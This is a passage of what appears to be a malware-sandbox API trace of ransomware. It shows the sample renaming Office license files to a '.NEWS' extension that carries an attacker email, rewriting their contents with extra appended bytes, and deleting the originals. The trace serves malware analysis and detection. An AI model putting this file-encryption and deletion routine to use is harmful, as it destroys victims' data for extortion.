Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_mak-ul-phn.xrm-ms")) returned 1 [0181.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.418] lstrlenW (lpString=".doc") returned 4 [0181.418] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.418] lstrlenW (lpString=".docx") returned 5 [0181.418] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.418] lstrlenW (lpString=".pdf") returned 4 [0181.418] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.418] lstrlenW (lpString=".xls") returned 4 [0181.418] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.418] lstrlenW (lpString=".xlsx") returned 5 [0181.418] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.418] lstrlenW (lpString=".ppt") returned 4 [0181.418] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.419] lstrlenW (lpString=".zip") returned 4 [0181.419] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.419] lstrlenW (lpString=".rar") returned 4 [0181.419] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.419] lstrlenW (lpString=".bz2") returned 4 [0181.419] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.419] lstrlenW (lpString=".7z") returned 3 [0181.419] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.419] lstrlenW (lpString=".dbf") returned 4 [0181.419] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.419] lstrlenW (lpString=".1cd") returned 4 [0181.419] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.419] lstrlenW (lpString=".jpg") returned 4 [0181.419] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.419] lstrlenW (lpString=".doc") returned 4 [0181.419] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.419] lstrlenW (lpString=".docx") returned 5 [0181.419] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.419] lstrlenW (lpString=".pdf") returned 4 [0181.419] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.419] lstrlenW (lpString=".xls") returned 4 [0181.419] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.419] lstrlenW (lpString=".xlsx") returned 5 [0181.420] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.420] lstrlenW (lpString=".ppt") returned 4 [0181.420] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.420] lstrlenW (lpString=".zip") returned 4 [0181.420] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.420] lstrlenW (lpString=".rar") returned 4 [0181.420] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.420] lstrlenW (lpString=".bz2") returned 4 [0181.420] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.420] lstrlenW (lpString=".7z") returned 3 [0181.420] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.420] lstrlenW (lpString=".dbf") returned 4 [0181.420] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.421] lstrlenW (lpString=".1cd") returned 4 [0181.421] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_MAK-ul-phn.xrm-ms") returned 75 [0181.421] lstrlenW (lpString=".jpg") returned 4 [0181.421] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.421] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0181.421] lstrlenW (lpString="HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 37 [0181.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0181.422] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=11644) returned 1 [0181.422] CloseHandle (hObject=0x53c) returned 1 [0181.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 0x220 [0181.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0181.423] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.423] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0181.424] GetLastError () returned 0x0 [0181.424] ReadFile (in: hFile=0x53c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d7c, lpOverlapped=0x0) returned 1 [0181.457] WriteFile (in: hFile=0x36c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0181.459] ReadFile (in: hFile=0x53c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.459] WriteFile (in: hFile=0x36c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x11e, lpOverlapped=0x0) returned 1 [0181.459] SetEndOfFile (hFile=0x36c) returned 1 [0181.459] CloseHandle (hObject=0x36c) returned 1 [0181.459] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.459] SetEndOfFile (hFile=0x53c) returned 1 [0181.477] CloseHandle (hObject=0x53c) returned 1 [0181.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0181.478] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_grace-ul-oob.xrm-ms")) returned 1 [0181.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.479] lstrlenW (lpString=".doc") returned 4 [0181.479] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.479] lstrlenW (lpString=".docx") returned 5 [0181.480] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.480] lstrlenW (lpString=".pdf") returned 4 [0181.480] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.480] lstrlenW (lpString=".xls") returned 4 [0181.480] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.480] lstrlenW (lpString=".xlsx") returned 5 [0181.480] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.480] lstrlenW (lpString=".ppt") returned 4 [0181.480] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.480] lstrlenW (lpString=".zip") returned 4 [0181.480] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.480] lstrlenW (lpString=".rar") returned 4 [0181.480] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.480] lstrlenW (lpString=".bz2") returned 4 [0181.480] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.480] lstrlenW (lpString=".7z") returned 3 [0181.480] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.480] lstrlenW (lpString=".dbf") returned 4 [0181.480] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.480] lstrlenW (lpString=".1cd") returned 4 [0181.480] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.480] lstrlenW (lpString=".jpg") returned 4 [0181.480] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.481] lstrlenW (lpString=".doc") returned 4 [0181.481] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.481] lstrlenW (lpString=".docx") returned 5 [0181.481] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.481] lstrlenW (lpString=".pdf") returned 4 [0181.481] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.481] lstrlenW (lpString=".xls") returned 4 [0181.481] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.481] lstrlenW (lpString=".xlsx") returned 5 [0181.481] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.481] lstrlenW (lpString=".ppt") returned 4 [0181.481] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.481] lstrlenW (lpString=".zip") returned 4 [0181.481] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.481] lstrlenW (lpString=".rar") returned 4 [0181.481] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.481] lstrlenW (lpString=".bz2") returned 4 [0181.481] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.481] lstrlenW (lpString=".7z") returned 3 [0181.481] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.481] lstrlenW (lpString=".dbf") returned 4 [0181.481] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.481] lstrlenW (lpString=".1cd") returned 4 [0181.481] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_Grace-ul-oob.xrm-ms") returned 87 [0181.481] lstrlenW (lpString=".jpg") returned 4 [0181.482] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.482] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0181.482] lstrlenW (lpString="HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 37 [0181.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0181.483] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=21977) returned 1 [0181.483] CloseHandle (hObject=0x53c) returned 1 [0181.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 0x220 [0181.483] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0181.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0181.484] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.484] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0181.484] GetLastError () returned 0x0 [0181.484] ReadFile (in: hFile=0x53c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x55d9, lpOverlapped=0x0) returned 1 [0181.490] WriteFile (in: hFile=0x3f4, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x55e0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x55e0, lpOverlapped=0x0) returned 1 [0181.492] ReadFile (in: hFile=0x53c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0181.492] WriteFile (in: hFile=0x3f4, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x11e, lpOverlapped=0x0) returned 1 [0181.492] SetEndOfFile (hFile=0x3f4) returned 1 [0181.492] CloseHandle (hObject=0x3f4) returned 1 [0181.492] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0181.492] SetEndOfFile (hFile=0x53c) returned 1 [0181.650] CloseHandle (hObject=0x53c) returned 1 [0181.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0182.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinesspipcr_oem_perp-ppd.xrm-ms")) returned 1 [0182.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.304] lstrlenW (lpString=".doc") returned 4 [0182.304] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.304] lstrlenW (lpString=".docx") returned 5 [0182.304] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.304] lstrlenW (lpString=".pdf") returned 4 [0182.304] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.304] lstrlenW (lpString=".xls") returned 4 [0182.304] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.304] lstrlenW (lpString=".xlsx") returned 5 [0182.304] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.304] lstrlenW (lpString=".ppt") returned 4 [0182.304] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.304] lstrlenW (lpString=".zip") returned 4 [0182.305] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.305] lstrlenW (lpString=".rar") returned 4 [0182.305] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.305] lstrlenW (lpString=".bz2") returned 4 [0182.305] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.305] lstrlenW (lpString=".7z") returned 3 [0182.305] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.305] lstrlenW (lpString=".dbf") returned 4 [0182.305] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.305] lstrlenW (lpString=".1cd") returned 4 [0182.305] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.305] lstrlenW (lpString=".jpg") returned 4 [0182.305] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.305] lstrlenW (lpString=".doc") returned 4 [0182.306] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0182.306] lstrlenW (lpString=".docx") returned 5 [0182.306] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0182.306] lstrlenW (lpString=".pdf") returned 4 [0182.306] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0182.306] lstrlenW (lpString=".xls") returned 4 [0182.306] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0182.306] lstrlenW (lpString=".xlsx") returned 5 [0182.306] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0182.306] lstrlenW (lpString=".ppt") returned 4 [0182.306] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0182.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.306] lstrlenW (lpString=".zip") returned 4 [0182.306] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0182.306] lstrlenW (lpString=".rar") returned 4 [0182.306] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0182.306] lstrlenW (lpString=".bz2") returned 4 [0182.306] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0182.306] lstrlenW (lpString=".7z") returned 3 [0182.306] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0182.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.306] lstrlenW (lpString=".dbf") returned 4 [0182.306] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0182.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.306] lstrlenW (lpString=".1cd") returned 4 [0182.307] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0182.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessPipcR_OEM_Perp-ppd.xrm-ms") returned 87 [0182.307] lstrlenW (lpString=".jpg") returned 4 [0182.307] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0182.307] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0182.307] lstrlenW (lpString="HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 32 [0182.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0182.849] GetFileSizeEx (in: hFile=0x478, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=10663) returned 1 [0182.849] CloseHandle (hObject=0x478) returned 1 [0182.849] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 0x220 [0182.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0182.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0182.896] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.896] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0182.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0182.898] GetLastError () returned 0x0 [0182.898] ReadFile (in: hFile=0x3f4, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x29a7, lpOverlapped=0x0) returned 1 [0182.900] WriteFile (in: hFile=0x53c, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0182.901] ReadFile (in: hFile=0x3f4, 